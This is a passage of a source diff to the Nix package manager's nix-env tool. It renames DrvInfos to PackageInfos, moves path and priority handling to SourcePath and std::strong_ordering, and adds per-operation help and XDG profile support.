0, attrName.size() - 4); if (!seen.insert(attrName).second) { std::string suggestionMessage = ""; - if (path2.find("channels") != std::string::npos && path.find("channels") != std::string::npos) { + if (path2.path.abs().find("channels") != std::string::npos && path.path.abs().find("channels") != std::string::npos) suggestionMessage = fmt("\nsuggestion: remove '%s' from either the root channels or the user channels", attrName); - } printError("warning: name collision in input Nix expressions, skipping '%1%'" "%2%", path2, suggestionMessage); continue; } /* Load the expression on demand. */ auto vArg = state.allocValue(); - vArg->mkString(path2); + vArg->mkPath(path2); if (seen.size() == maxAttrs) throw Error("too many Nix expressions in directory '%1%'", path); attrs.alloc(attrName).mkApp(&state.getBuiltin("import"), vArg); } - else if (S_ISDIR(st.st_mode)) + else if (st.type == SourceAccessor::tDirectory) /* `path2' is a directory (with no default.nix in it); recurse into it. */ getAllExprs(state, path2, seen, attrs); @@ -152,11 +158,9 @@ static void getAllExprs(EvalState & state, -static void loadSourceExpr(EvalState & state, const Path & path, Value & v) +static void loadSourceExpr(EvalState & state, const SourcePath & path, Value & v) { - struct stat st; - if (stat(path.c_str(), &st) == -1) - throw SysError("getting information about '%1%'", path); + auto st = path.resolveSymlinks().lstat(); if (isNixExpr(path, st)) state.evalFile(path, v); @@ -167,9 +171,9 @@ static void loadSourceExpr(EvalState & state, const Path & path, Value & v) set flat, not nested, to make it easier for a user to have a ~/.nix-defexpr directory that includes some system-wide directory). */ - else if (S_ISDIR(st.st_mode)) { + else if (st.type == SourceAccessor::tDirectory) { auto attrs = state.buildBindings(maxAttrs); - attrs.alloc("_combineChannels").mkList(0); + attrs.insert(state.symbols.create("_combineChannels"), &state.vEmptyList); StringSet seen; getAllExprs(state, path, seen, attrs); v.mkAttrs(attrs); @@ -179,9 +183,9 @@ static void loadSourceExpr(EvalState & state, const Path & path, Value & v) } -static void loadDerivations(EvalState & state, Path nixExprPath, +static void loadDerivations(EvalState & state, const SourcePath & nixExprPath, std::string systemFilter, Bindings & autoArgs, - const std::string & pathPrefix, DrvInfos & elems) + const std::string & pathPrefix, PackageInfos & elems) { Value vRoot; loadSourceExpr(state, nixExprPath, vRoot); @@ -192,7 +196,7 @@ static void loadDerivations(EvalState & state, Path nixExprPath, /* Filter out all derivations not applicable to the current system. */ - for (DrvInfos::iterator i = elems.begin(), j; i != elems.end(); i = j) { + for (PackageInfos::iterator i = elems.begin(), j; i != elems.end(); i = j) { j = i; j++; if (systemFilter != "*" && i->querySystem() != systemFilter) elems.erase(i); @@ -200,21 +204,21 @@ static void loadDerivations(EvalState & state, Path nixExprPath, } -static long getPriority(EvalState & state, DrvInfo & drv) +static NixInt getPriority(EvalState & state, PackageInfo & drv) { - return drv.queryMetaInt("priority", 0); + return drv.queryMetaInt("priority", NixInt(0)); } -static long comparePriorities(EvalState & state, DrvInfo & drv1, DrvInfo & drv2) +static std::strong_ordering comparePriorities(EvalState & state, PackageInfo & drv1, PackageInfo & drv2) { - return getPriority(state, drv2) - getPriority(state, drv1); + return getPriority(state, drv2) <=> getPriority(state, drv1); } // FIXME: this function is rather slow since it checks a single path // at a time. -static bool isPrebuilt(EvalState & state, DrvInfo & elem) +static bool isPrebuilt(EvalState & state, PackageInfo & elem) { auto path = elem.queryOutPath(); if (state.store->isValidPath(path)) return true; @@ -233,11 +237,11 @@ static void checkSelectorUse(DrvNames & selectors) namespace { -std::set searchByPrefix(const DrvInfos & allElems, std::string_view prefix) { +std::set searchByPrefix(const PackageInfos & allElems, std::string_view prefix) { constexpr std::size_t maxResults = 3; std::set result; - for (const auto & drvInfo : allElems) { - const auto drvName = DrvName { drvInfo.queryName() }; + for (const auto & packageInfo : allElems) { + const auto drvName = DrvName { packageInfo.queryName() }; if (hasPrefix(drvName.name, prefix)) { result.emplace(drvName.name); @@ -251,11 +255,11 @@ std::set searchByPrefix(const DrvInfos & allElems, std::string_view struct Match { - DrvInfo drvInfo; + PackageInfo packageInfo; std::size_t index; - Match(DrvInfo drvInfo_, std::size_t index_) - : drvInfo{std::move(drvInfo_)} + Match(PackageInfo packageInfo_, std::size_t index_) + : packageInfo{std::move(packageInfo_)} , index{index_} {} }; @@ -273,20 +277,20 @@ std::vector pickNewestOnly(EvalState & state, std::vector matches) StringSet multiple; for (auto & match : matches) { - auto & oneDrv = match.drvInfo; + auto & oneDrv = match.packageInfo; const auto drvName = DrvName { oneDrv.queryName() }; - long comparison = 1; + std::strong_ordering comparison = std::strong_ordering::greater; const auto itOther = newest.find(drvName.name); if (itOther != newest.end()) { - auto & newestDrv = itOther->second.drvInfo; + auto & newestDrv = itOther->second.packageInfo; comparison = - oneDrv.querySystem() == newestDrv.querySystem() ? 0 : - oneDrv.querySystem() == settings.thisSystem ? 1 : - newestDrv.querySystem() == settings.thisSystem ? -1 : 0; + oneDrv.querySystem() == newestDrv.querySystem() ? std::strong_ordering::equal : + oneDrv.querySystem() == settings.thisSystem ? std::strong_ordering::greater : + newestDrv.querySystem() == settings.thisSystem ? std::strong_ordering::less : std::strong_ordering::equal; if (comparison == 0) comparison = comparePriorities(state, oneDrv, newestDrv); if (comparison == 0) @@ -316,23 +320,23 @@ std::vector pickNewestOnly(EvalState & state, std::vector matches) } // end namespace -static DrvInfos filterBySelector(EvalState & state, const DrvInfos & allElems, +static PackageInfos filterBySelector(EvalState & state, const PackageInfos & allElems, const Strings & args, bool newestOnly) { DrvNames selectors = drvNamesFromArgs(args); if (selectors.empty()) selectors.emplace_back("*"); - DrvInfos elems; + PackageInfos elems; std::set done; for (auto & selector : selectors) { std::vector matches; - for (const auto & [index, drvInfo] : enumerate(allElems)) { - const auto drvName = DrvName { drvInfo.queryName() }; + for (const auto & [index, packageInfo] : enumerate(allElems)) { + const auto drvName = DrvName { packageInfo.queryName() }; if (selector.matches(drvName)) { ++selector.hits; - matches.emplace_back(drvInfo, index); + matches.emplace_back(packageInfo, index); } } @@ -344,7 +348,7 @@ static DrvInfos filterBySelector(EvalState & state, const DrvInfos & allElems, haven't inserted before. */ for (auto & match : matches) if (done.insert(match.index).second) - elems.push_back(match.drvInfo); + elems.push_back(match.packageInfo); if (selector.hits == 0 && selector.fullName != "*") { const auto prefixHits = searchByPrefix(allElems, selector.name); @@ -373,7 +377,7 @@ static bool isPath(std::string_view s) static void queryInstSources(EvalState & state, InstallSourceInfo & instSource, const Strings & args, - DrvInfos & elems, bool newestOnly) + PackageInfos & elems, bool newestOnly) { InstallSourceType type = instSource.type; if (type == srcUnknown && args.size() > 0 && isPath(args.front())) @@ -389,8 +393,8 @@ static void queryInstSources(EvalState & state, /* Load the derivations from the (default or specified) Nix expression. */ - DrvInfos allElems; - loadDerivations(state, instSource.nixExprPath, + PackageInfos allElems; + loadDerivations(state, *instSource.nixExprPath, instSource.systemFilter, *instSource.autoArgs, "", allElems); elems = filterBySelector(state, allElems, args, newestOnly); @@ -407,10 +411,10 @@ static void queryInstSources(EvalState & state, case srcNixExprs: { Value vArg; - loadSourceExpr(state, instSource.nixExprPath, vArg); + loadSourceExpr(state, *instSource.nixExprPath, vArg); for (auto & i : args) { - Expr * eFun = state.parseExprFromString(i, absPath(".")); + Expr * eFun = state.parseExprFromString(i, state.rootPath(".")); Value vFun, vTmp; state.eval(eFun, vFun); vTmp.mkApp(&vFun, &vArg); @@ -430,7 +434,7 @@ static void queryInstSources(EvalState & state, std::string name(path.name()); - DrvInfo elem(state, "", nullptr); + PackageInfo elem(state, "", nullptr); elem.setName(name); if (path.isDerivation()) { @@ -462,7 +466,7 @@ static void queryInstSources(EvalState & state, case srcAttrPath: { Value vRoot; - loadSourceExpr(state, instSource.nixExprPath, vRoot); + loadSourceExpr(state, *instSource.nixExprPath, vRoot); for (auto & i : args) { Value & v(*findAlongAttrPath(state, i, *instSource.autoArgs, vRoot).first); getDerivations(state, v, "", *instSource.autoArgs, elems, true); @@ -473,20 +477,25 @@ static void queryInstSources(EvalState & state, } -static void printMissing(EvalState & state, DrvInfos & elems) +static void printMissing(EvalState & state, PackageInfos & elems) { std::vector targets; for (auto & i : elems) if (auto drvPath = i.queryDrvPath()) - targets.push_back(DerivedPath::Built{*drvPath}); + targets.emplace_back(DerivedPath::Built{ + .drvPath = makeConstantStorePathRef(*drvPath), + .outputs = OutputsSpec::All { }, + }); else - targets.push_back(DerivedPath::Opaque{i.queryOutPath()}); + targets.emplace_back(DerivedPath::Opaque{ + .path = i.queryOutPath(), + }); printMissing(state.store, targets); } -static bool keep(DrvInfo & drv) +static bool keep(PackageInfo & drv) { return drv.queryMetaBool("keep", false); } @@ -495,10 +504,10 @@ static bool keep(DrvInfo & drv) static void installDerivations(Globals & globals, const Strings & args, const Path & profile) { - debug(format("installing derivations")); + debug("installing derivations"); /* Get the set of user environment elements to be installed. */ - DrvInfos newElems, newElemsTmp; + PackageInfos newElems, newElemsTmp; queryInstSources(*globals.state, globals.instSource, args, newElemsTmp, true); /* If --prebuilt-only is given, filter out source-only packages. */ @@ -521,12 +530,12 @@ static void installDerivations(Globals & globals, while (true) { auto lockToken = optimisticLockProfile(profile); - DrvInfos allElems(newElems); + PackageInfos allElems(newElems); /* Add in the already installed derivations, unless they have the same name as a to-be-installed element. */ if (!globals.removeAll) { - DrvInfos installedElems = queryInstalled(*globals.state, profile); + PackageInfos installedElems = queryInstalled(*globals.state, profile); for (auto & i : installedElems) { DrvName drvName(i.queryName()); @@ -574,7 +583,7 @@ typedef enum { utLt, utLeq, utEq, utAlways } UpgradeType; static void upgradeDerivations(Globals & globals, const Strings & args, UpgradeType upgradeType) { - debug(format("upgrading derivations")); + debug("upgrading derivations"); /* Upgrade works as follows: we take all currently installed derivations, and for any derivation matching any selector, look @@ -584,14 +593,14 @@ static void upgradeDerivations(Globals & globals, while (true) { auto lockToken = optimisticLockProfile(globals.profile); - DrvInfos installedElems = queryInstalled(*globals.state, globals.profile); + PackageInfos installedElems = queryInstalled(*globals.state, globals.profile); /* Fetch all derivations from the input file. */ - DrvInfos availElems; + PackageInfos availElems; queryInstSources(*globals.state, globals.instSource, args, availElems, false); /* Go through all installed derivations. */ - DrvInfos newElems; + PackageInfos newElems; for (auto & i : installedElems) { DrvName drvName(i.queryName()); @@ -609,20 +618,20 @@ static void upgradeDerivations(Globals & globals, priority. If there are still multiple matches, take the one with the highest version. Do not upgrade if it would decrease the priority. */ - DrvInfos::iterator bestElem = availElems.end(); + PackageInfos::iterator bestElem = availElems.end(); std::string bestVersion; for (auto j = availElems.begin(); j != availElems.end(); ++j) { if (comparePriorities(*globals.state, i, *j) > 0) continue; DrvName newName(j->queryName()); if (newName.name == drvName.name) { - int d = compareVersions(drvName.version, newName.version); + std::strong_ordering d = compareVersions(drvName.version, newName.version); if ((upgradeType == utLt && d < 0) || (upgradeType == utLeq && d <= 0) || (upgradeType == utEq && d == 0) || upgradeType == utAlways) { - long d2 = -1; + std::strong_ordering d2 = std::strong_ordering::less; if (bestElem != availElems.end()) { d2 = comparePriorities(*globals.state, *bestElem, *j); if (d2 == 0) d2 = compareVersions(bestVersion, newName.version); @@ -679,7 +688,7 @@ static void opUpgrade(Globals & globals, Strings opFlags, Strings opArgs) } -static void setMetaFlag(EvalState & state, DrvInfo & drv, +static void setMetaFlag(EvalState & state, PackageInfo & drv, const std::string & name, const std::string & value) { auto v = state.allocValue(); @@ -703,7 +712,7 @@ static void opSetFlag(Globals & globals, Strings opFlags, Strings opArgs) while (true) { std::string lockToken = optimisticLockProfile(globals.profile); - DrvInfos installedElems = queryInstalled(*globals.state, globals.profile); + PackageInfos installedElems = queryInstalled(*globals.state, globals.profile); /* Update all matching derivations. */ for (auto & i : installedElems) { @@ -737,13 +746,13 @@ static void opSet(Globals & globals, Strings opFlags, Strings opArgs) else throw UsageError("unknown flag '%1%'", arg); } - DrvInfos elems; + PackageInfos elems; queryInstSources(*globals.state, globals.instSource, opArgs, elems, true); if (elems.size() != 1) throw Error("--set requires exactly one derivation"); - DrvInfo & drv(elems.front()); + PackageInfo & drv(elems.front()); if (globals.forceName != "") drv.setName(globals.forceName); @@ -751,16 +760,21 @@ static void opSet(Globals & globals, Strings opFlags, Strings opArgs) auto drvPath = drv.queryDrvPath(); std::vector paths { drvPath - ? (DerivedPath) (DerivedPath::Built { *drvPath }) - : (DerivedPath) (DerivedPath::Opaque { drv.queryOutPath() }), + ? (DerivedPath) (DerivedPath::Built { + .drvPath = makeConstantStorePathRef(*drvPath), + .outputs = OutputsSpec::All { }, + }) + : (DerivedPath) (DerivedPath::Opaque { + .path = drv.queryOutPath(), + }), }; printMissing(globals.state->store, paths); if (globals.dryRun) return; globals.state->store->buildPaths(paths, globals.state->repair ? bmRepair : bmNormal); - debug(format("switching to new user environment")); + debug("switching to new user environment"); Path generation = createGeneration( - ref(store2), + *store2, globals.profile, drv.queryOutPath()); switchLink(globals.profile, generation); @@ -773,10 +787,10 @@ static void uninstallDerivations(Globals & globals, Strings & selectors, while (true) { auto lockToken = optimisticLockProfile(profile); - DrvInfos workingElems = queryInstalled(*globals.state, profile); + PackageInfos workingElems = queryInstalled(*globals.state, profile); for (auto & selector : selectors) { - DrvInfos::iterator split = workingElems.begin(); + PackageInfos::iterator split = workingElems.begin(); if (isPath(selector)) { StorePath selectorStorePath = globals.state->store->followLinksToStorePath(selector); split = std::partition( @@ -825,7 +839,7 @@ static bool cmpChars(char a, char b) } -static bool cmpElemByName(const DrvInfo & a, const DrvInfo & b) +static bool cmpElemByName(const PackageInfo & a, const PackageInfo & b) { auto a_name = a.queryName(); auto b_name = b.queryName(); @@ -878,7 +892,7 @@ void printTable(Table & table) typedef enum { cvLess, cvEqual, cvGreater, cvUnavail } VersionDiff; static VersionDiff compareVersionAgainstSet( - const DrvInfo & elem, const DrvInfos & elems, std::string & version) + const PackageInfo & elem, const PackageInfos & elems, std::string & version) { DrvName name(elem.queryName()); @@ -888,7 +902,7 @@ static VersionDiff compareVersionAgainstSet( for (auto & i : elems) { DrvName name2(i.queryName()); if (name.name == name2.name) { - int d = compareVersions(name.version, name2.version); + std::strong_ordering d = compareVersions(name.version, name2.version); if (d < 0) { diff = cvGreater; version = name2.version; @@ -909,7 +923,7 @@ static VersionDiff compareVersionAgainstSet( } -static void queryJSON(Globals & globals, std::vector & elems, bool printOutPath, bool printMeta) +static void queryJSON(Globals & globals, std::vector & elems, bool printOutPath, bool printDrvPath, bool printMeta) { using nlohmann::json; json topObj = json::object(); @@ -929,7 +943,7 @@ static void queryJSON(Globals & globals, std::vector & elems, bool prin }; { - DrvInfo::Outputs outputs = i.queryOutputs(printOutPath); + PackageInfo::Outputs outputs = i.queryOutputs(printOutPath); json &outputObj = pkgObj["outputs"]; outputObj = json::object(); for (auto & j : outputs) { @@ -940,6 +954,11 @@ static void queryJSON(Globals & globals, std::vector & elems, bool prin } } + if (printDrvPath) { + auto drvPath = i.queryDrvPath(); + if (drvPath) pkgObj["drvPath"] = globals.state->store->printStorePath(*drvPath); + } + if (printMeta) { json &metaObj = pkgObj["meta"]; metaObj = json::object(); @@ -950,7 +969,7 @@ static void queryJSON(Globals & globals, std::vector & elems, bool prin printError("derivation '%s' has invalid meta attribute '%s'", i.queryName(), j); metaObj[j] = nullptr; } else { - PathSet context; + NixStringContext context; metaObj[j] = printValueAsJSON(*globals.state, true, *v, noPos, context); } } @@ -1014,26 +1033,26 @@ static void opQuery(Globals & globals, Strings opFlags, Strings opArgs) throw UsageError("--attr-path(-P) only works with --available"); /* Obtain derivation information from the specified source. */ - DrvInfos availElems, installedElems; + PackageInfos availElems, installedElems; if (source == sInstalled || compareVersions || printStatus) installedElems = queryInstalled(*globals.state, globals.profile); if (source == sAvailable || compareVersions) - loadDerivations(*globals.state, globals.instSource.nixExprPath, + loadDerivations(*globals.state, *globals.instSource.nixExprPath, globals.instSource.systemFilter, *globals.instSource.autoArgs, attrPath, availElems); - DrvInfos elems_ = filterBySelector(*globals.state, + PackageInfos elems_ = filterBySelector(*globals.state, source == sInstalled ? installedElems : availElems, opArgs, false); - DrvInfos & otherElems(source == sInstalled ? availElems : installedElems); + PackageInfos & otherElems(source == sInstalled ? availElems : installedElems); /* Sort them by name. */ /* !!! */ - std::vector elems; + std::vector elems; for (auto & i : elems_) elems.push_back(i); sort(elems.begin(), elems.end(), cmpElemByName); @@ -1066,12 +1085,12 @@ static void opQuery(Globals & globals, Strings opFlags, Strings opArgs) /* Print the desired columns, or XML output. */ if (jsonOutput) { - queryJSON(globals, elems, printOutPath, printMeta); + queryJSON(globals, elems, printOutPath, printDrvPath, printMeta); cout << '\n'; return; } - bool tty = isatty(STDOUT_FILENO); + bool tty = isTTY(); RunPager pager; Table table; @@ -1083,7 +1102,7 @@ static void opQuery(Globals & globals, Strings opFlags, Strings opArgs) try { if (i.hasFailed()) continue; - //Activity act(*logger, lvlDebug, format("outputting query result '%1%'") % i.attrPath); + //Activity act(*logger, lvlDebug, "outputting query result '%1%'", i.attrPath); if (globals.prebuiltOnly && !validPaths.count(i.queryOutPath()) && @@ -1140,7 +1159,7 @@ static void opQuery(Globals & globals, Strings opFlags, Strings opArgs) case cvEqual: ch = '='; break; case cvGreater: ch = '<'; break; case cvUnavail: ch = '-'; break; - default: abort(); + default: unreachable(); } if (xmlOutput) { @@ -1174,7 +1193,7 @@ static void opQuery(Globals & globals, Strings opFlags, Strings opArgs) attrs["outputName"] = i.queryOutputName(); if (printOutPath && !xmlOutput) { - DrvInfo::Outputs outputs = i.queryOutputs(); + PackageInfo::Outputs outputs = i.queryOutputs(); std::string s; for (auto & j : outputs) { if (!s.empty()) s += ';'; @@ -1194,7 +1213,7 @@ static void opQuery(Globals & globals, Strings opFlags, Strings opArgs) if (xmlOutput) { XMLOpenElement item(xml, "item", attrs); - DrvInfo::Outputs outputs = i.queryOutputs(printOutPath); + PackageInfo::Outputs outputs = i.queryOutputs(printOutPath); for (auto & j : outputs) { XMLAttrs attrs2; attrs2["name"] = j.first; @@ -1215,19 +1234,19 @@ static void opQuery(Globals & globals, Strings opFlags, Strings opArgs) else { if (v->type() == nString) { attrs2["type"] = "string"; - attrs2["value"] = v->string.s; + attrs2["value"] = v->c_str(); xml.writeEmptyElement("meta", attrs2); } else if (v->type() == nInt) { attrs2["type"] = "int"; - attrs2["value"] = (format("%1%") % v->integer).str(); + attrs2["value"] = fmt("%1%", v->integer()); xml.writeEmptyElement("meta", attrs2); } else if (v->type() == nFloat) { attrs2["type"] = "float"; - attrs2["value"] = (format("%1%") % v->fpoint).str(); + attrs2["value"] = fmt("%1%", v->fpoint()); xml.writeEmptyElement("meta", attrs2); } else if (v->type() == nBool) { attrs2["type"] = "bool"; - attrs2["value"] = v->boolean ? "true" : "false"; + attrs2["value"] = v->boolean() ? "true" : "false"; xml.writeEmptyElement("meta", attrs2); } else if (v->type() == nList) { attrs2["type"] = "strings"; @@ -1235,19 +1254,17 @@ static void opQuery(Globals & globals, Strings opFlags, Strings opArgs) for (auto elem : v->listItems()) { if (elem->type() != nString) continue; XMLAttrs attrs3; - attrs3["value"] = elem->string.s; + attrs3["value"] = elem->c_str(); xml.writeEmptyElement("string", attrs3); } } else if (v->type() == nAttrs) { attrs2["type"] = "strings"; XMLOpenElement m(xml, "meta", attrs2); - Bindings & attrs = *v->attrs; - for (auto &i : attrs) { - Attr & a(*attrs.find(i.name)); - if(a.value->type() != nString) continue; + for (auto & i : *v->attrs()) { + if (i.value->type() != nString) continue; XMLAttrs attrs3; attrs3["type"] = globals.state->symbols[i.name]; - attrs3["value"] = a.value->string.s; + attrs3["value"] = i.value->c_str(); xml.writeEmptyElement("string", attrs3); } } @@ -1279,7 +1296,7 @@ static void opSwitchProfile(Globals & globals, Strings opFlags, Strings opArgs) throw UsageError("exactly one argument expected"); Path profile = absPath(opArgs.front()); - Path profileLink = getHome() + "/.nix-profile"; + Path profileLink = settings.useXDGBaseDirectories ? createNixStateDir() + "/profile" : getHome() + "/.nix-profile"; switchLink(profileLink, profile); } @@ -1325,13 +1342,21 @@ static void opListGenerations(Globals & globals, Strings opFlags, Strings opArgs RunPager pager; for (auto & i : gens) { +#ifdef _WIN32 // TODO portable wrapper in libutil + tm * tp = localtime(&i.creationTime); + if (!tp) + throw Error("cannot convert time"); + auto & t = *tp; +#else tm t; - if (!localtime_r(&i.creationTime, &t)) throw Error("cannot convert time"); - cout << format("%|4| %|4|-%|02|-%|02| %|02|:%|02|:%|02| %||\n") - % i.number - % (t.tm_year + 1900) % (t.tm_mon + 1) % t.tm_mday - % t.tm_hour % t.tm_min % t.tm_sec - % (i.number == curGen ? "(current)" : ""); + if (!localtime_r(&i.creationTime, &t)) + throw Error("cannot convert time"); +#endif + logger->cout("%|4| %|4|-%|02|-%|02| %|02|:%|02|:%|02| %||", + i.number, + t.tm_year + 1900, t.tm_mon + 1, t.tm_mday, + t.tm_hour, t.tm_min, t.tm_sec, + i.number == curGen ? "(current)" : ""); } } @@ -1344,13 +1369,14 @@ static void opDeleteGenerations(Globals & globals, Strings opFlags, Strings opAr if (opArgs.size() == 1 && opArgs.front() == "old") { deleteOldGenerations(globals.profile, globals.dryRun); } else if (opArgs.size() == 1 && opArgs.front().find('d') != std::string::npos) { - deleteGenerationsOlderThan(globals.profile, opArgs.front(), globals.dryRun); + auto t = parseOlderThanTimeSpec(opArgs.front()); + deleteGenerationsOlderThan(globals.profile, t, globals.dryRun); } else if (opArgs.size() == 1 && opArgs.front().find('+') != std::string::npos) { if (opArgs.front().size() < 2) throw Error("invalid number of generations '%1%'", opArgs.front()); auto str_max = opArgs.front().substr(1); auto max = string2Int(str_max); - if (!max || *max == 0) + if (!max) throw Error("invalid number of generations to keep '%1%'", opArgs.front()); deleteGenerationsGreaterThan(globals.profile, *max, globals.dryRun); } else { @@ -1377,25 +1403,27 @@ static int main_nix_env(int argc, char * * argv) { Strings opFlags, opArgs; Operation op = 0; - RepairFlag repair = NoRepair; + std::string opName; + bool showHelp = false; std::string file; Globals globals; globals.instSource.type = srcUnknown; - globals.instSource.nixExprPath = getHome() + "/.nix-defexpr"; globals.instSource.systemFilter = "*"; - if (!pathExists(globals.instSource.nixExprPath)) { + Path nixExprPath = getNixDefExpr(); + + if (!pathExists(nixExprPath)) { try { - createDirs(globals.instSource.nixExprPath); + createDirs(nixExprPath); replaceSymlink( - fmt("%s/profiles/per-user/%s/channels", settings.nixStateDir, getUserName()), - globals.instSource.nixExprPath + "/channels"); - if (getuid() != 0) + defaultChannelsDir(), + nixExprPath + "/channels"); + if (!isRootUser()) replaceSymlink( - fmt("%s/profiles/per-user/root/channels", settings.nixStateDir), - globals.instSource.nixExprPath + "/channels_root"); + rootChannelsDir(), + nixExprPath + "/channels_root"); } catch (Error &) { } } @@ -1413,37 +1441,59 @@ static int main_nix_env(int argc, char * * argv) Operation oldOp = op; if (*arg == "--help") - showManPage("nix-env"); + showHelp = true; else if (*arg == "--version") op = opVersion; - else if (*arg == "--install" || *arg == "-i") + else if (*arg == "--install" || *arg == "-i") { op = opInstall; + opName = "-install"; + } else if (*arg == "--force-name") // undocumented flag for nix-install-package globals.forceName = getArg(*arg, arg, end); - else if (*arg == "--uninstall" || *arg == "-e") + else if (*arg == "--uninstall" || *arg == "-e") { op = opUninstall; - else if (*arg == "--upgrade" || *arg == "-u") + opName = "-uninstall"; + } + else if (*arg == "--upgrade" || *arg == "-u") { op = opUpgrade; - else if (*arg == "--set-flag") + opName = "-upgrade"; + } + else if (*arg == "--set-flag") { op = opSetFlag; - else if (*arg == "--set") + opName = arg->substr(1); + } + else if (*arg == "--set") { op = opSet; - else if (*arg == "--query" || *arg == "-q") + opName = arg->substr(1); + } + else if (*arg == "--query" || *arg == "-q") { op = opQuery; + opName = "-query"; + } else if (*arg == "--profile" || *arg == "-p") globals.profile = absPath(getArg(*arg, arg, end)); else if (*arg == "--file" || *arg == "-f") file = getArg(*arg, arg, end); - else if (*arg == "--switch-profile" || *arg == "-S") + else if (*arg == "--switch-profile" || *arg == "-S") { op = opSwitchProfile; - else if (*arg == "--switch-generation" || *arg == "-G") + opName = "-switch-profile"; + } + else if (*arg == "--switch-generation" || *arg == "-G") { op = opSwitchGeneration; - else if (*arg == "--rollback") + opName = "-switch-generation"; + } + else if (*arg == "--rollback") { op = opRollback; - else if (*arg == "--list-generations") + opName = arg->substr(1); + } + else if (*arg == "--list-generations") { op = opListGenerations; - else if (*arg == "--delete-generations") + opName = arg->substr(1); + } + else if (*arg == "--delete-generations") { op = opDeleteGenerations; + opName = arg->substr(1); + } else if (*arg == "--dry-run") { printInfo("(dry run; not doing anything)"); globals.dryRun = true; @@ -1452,8 +1502,6 @@ static int main_nix_env(int argc, char * * argv) globals.instSource.systemFilter = getArg(*arg, arg, end); else if (*arg == "--prebuilt-only" || *arg == "-b") globals.prebuiltOnly = true; - else if (*arg == "--repair") - repair = Repair; else if (*arg != "" && arg->at(0) == '-') { opFlags.push_back(*arg); /* FIXME: hacky */ @@ -1472,15 +1520,18 @@ static int main_nix_env(int argc, char * * argv) myArgs.parseCmdline(argvToStrings(argc, argv)); + if (showHelp) showManPage("nix-env" + opName); if (!op) throw UsageError("no operation specified"); auto store = openStore(); - globals.state = std::shared_ptr(new EvalState(myArgs.searchPath, store)); - globals.state->repair = repair; + globals.state = std::shared_ptr(new EvalState(myArgs.lookupPath, store, fetchSettings, evalSettings)); + globals.state->repair = myArgs.repair; - if (file != "") - globals.instSource.nixExprPath = lookupFileArg(*globals.state, file); + globals.instSource.nixExprPath = std::make_shared( + file != "" + ? lookupFileArg(*globals.state, file) + : globals.state->rootPath(CanonPath(nixExprPath))); globals.instSource.autoArgs = myArgs.getAutoArgs(*globals.state); @@ -1492,7 +1543,7 @@ static int main_nix_env(int argc, char * * argv) op(globals, std::move(opFlags), std::move(opArgs)); - globals.state->printStats(); + globals.state->maybePrintStats(); return 0; } diff --git a/src/nix-env/user-env.cc b/src/nix-env/user-env.cc index 4b1202be3..a24dd11d6 100644 --- a/src/nix-env/user-env.cc +++ b/src/nix-env/user-env.cc @@ -1,5 +1,4 @@ #include "user-env.hh" -#include "util.hh" #include "derivations.hh" #include "store-api.hh" #include "path-with-outputs.hh" @@ -9,20 +8,23 @@ #include "eval.hh" #include "eval-inline.hh" #include "profiles.hh" +#include "print-ambiguous.hh" +#include +#include namespace nix { -DrvInfos queryInstalled(EvalState & state, const Path & userEnv) +PackageInfos queryInstalled(EvalState & state, const Path & userEnv) { - DrvInfos elems; + PackageInfos elems; if (pathExists(userEnv + "/manifest.json")) throw Error("profile '%s' is incompatible with 'nix-env'; please use 'nix profile' instead", userEnv); - Path manifestFile = userEnv + "/manifest.nix"; + auto manifestFile = userEnv + "/manifest.nix"; if (pathExists(manifestFile)) { Value v; - state.evalFile(manifestFile, v); + state.evalFile(state.rootPath(CanonPath(manifestFile)).resolveSymlinks(), v); Bindings & bindings(*state.allocBindings(0)); getDerivations(state, v, "", bindings, elems, false); } @@ -30,7 +32,7 @@ DrvInfos queryInstalled(EvalState & state, const Path & userEnv) } -bool createUserEnv(EvalState & state, DrvInfos & elems, +bool createUserEnv(EvalState & state, PackageInfos & elems, const Path & profile, bool keepDerivations, const std::string & lockToken) { @@ -41,22 +43,20 @@ bool createUserEnv(EvalState & state, DrvInfos & elems, if (auto drvPath = i.queryDrvPath()) drvsToBuild.push_back({*drvPath}); - debug(format("building user environment dependencies")); + debug("building user environment dependencies"); state.store->buildPaths( toDerivedPaths(drvsToBuild), state.repair ? bmRepair : bmNormal); /* Construct the whole top level derivation. */ StorePathSet references; - Value manifest; - state.mkList(manifest, elems.size()); - size_t n = 0; - for (auto & i : elems) { + auto list = state.buildList(elems.size()); + for (const auto & [n, i] : enumerate(elems)) { /* Create a pseudo-derivation containing the name, system, output paths, and optionally the derivation path, as well as the meta attributes. */ std::optional drvPath = keepDerivations ? i.queryDrvPath() : std::nullopt; - DrvInfo::Outputs outputs = i.queryOutputs(true, true); + PackageInfo::Outputs outputs = i.queryOutputs(true, true); StringSet metaNames = i.queryMetaNames(); auto attrs = state.buildBindings(7 + outputs.size()); @@ -71,10 +71,9 @@ bool createUserEnv(EvalState & state, DrvInfos & elems, attrs.alloc(state.sDrvPath).mkString(state.store->printStorePath(*drvPath)); // Copy each output meant for installation. - auto & vOutputs = attrs.alloc(state.sOutputs); - state.mkList(vOutputs, outputs.size()); + auto outputsList = state.buildList(outputs.size()); for (const auto & [m, j] : enumerate(outputs)) { - (vOutputs.listElems()[m] = state.allocValue())->mkString(j.first); + (outputsList[m] = state.allocValue())->mkString(j.first); auto outputAttrs = state.buildBindings(2); outputAttrs.alloc(state.sOutPath).mkString(state.store->printStorePath(*j.second)); attrs.alloc(j.first).mkAttrs(outputAttrs); @@ -86,6 +85,7 @@ bool createUserEnv(EvalState & state, DrvInfos & elems, references.insert(*j.second); } + attrs.alloc(state.sOutputs).mkList(outputsList); // Copy the meta attributes. auto meta = state.buildBindings(metaNames.size()); @@ -97,31 +97,37 @@ bool createUserEnv(EvalState & state, DrvInfos & elems, attrs.alloc(state.sMeta).mkAttrs(meta); - (manifest.listElems()[n++] = state.allocValue())->mkAttrs(attrs); + (list[n] = state.allocValue())->mkAttrs(attrs); if (drvPath) references.insert(*drvPath); } + Value manifest; + manifest.mkList(list); + /* Also write a copy of the list of user environment elements to the store; we need it for future modifications of the environment. */ - std::ostringstream str; - manifest.print(state.symbols, str, true); - auto manifestFile = state.store->addTextToStore("env-manifest.nix", - str.str(), references); + auto manifestFile = ({ + std::ostringstream str; + printAmbiguous(manifest, state.symbols, str, nullptr, std::numeric_limits::max()); + // TODO with C++20 we can use str.view() instead and avoid copy. + std::string str2 = str.str(); + StringSource source { str2 }; + state.store->addToStoreFromDump( + source, "env-manifest.nix", FileSerialisationMethod::Flat, ContentAddressMethod::Raw::Text, HashAlgorithm::SHA256, references); + }); /* Get the environment builder expression. */ Value envBuilder; state.eval(state.parseExprFromString( 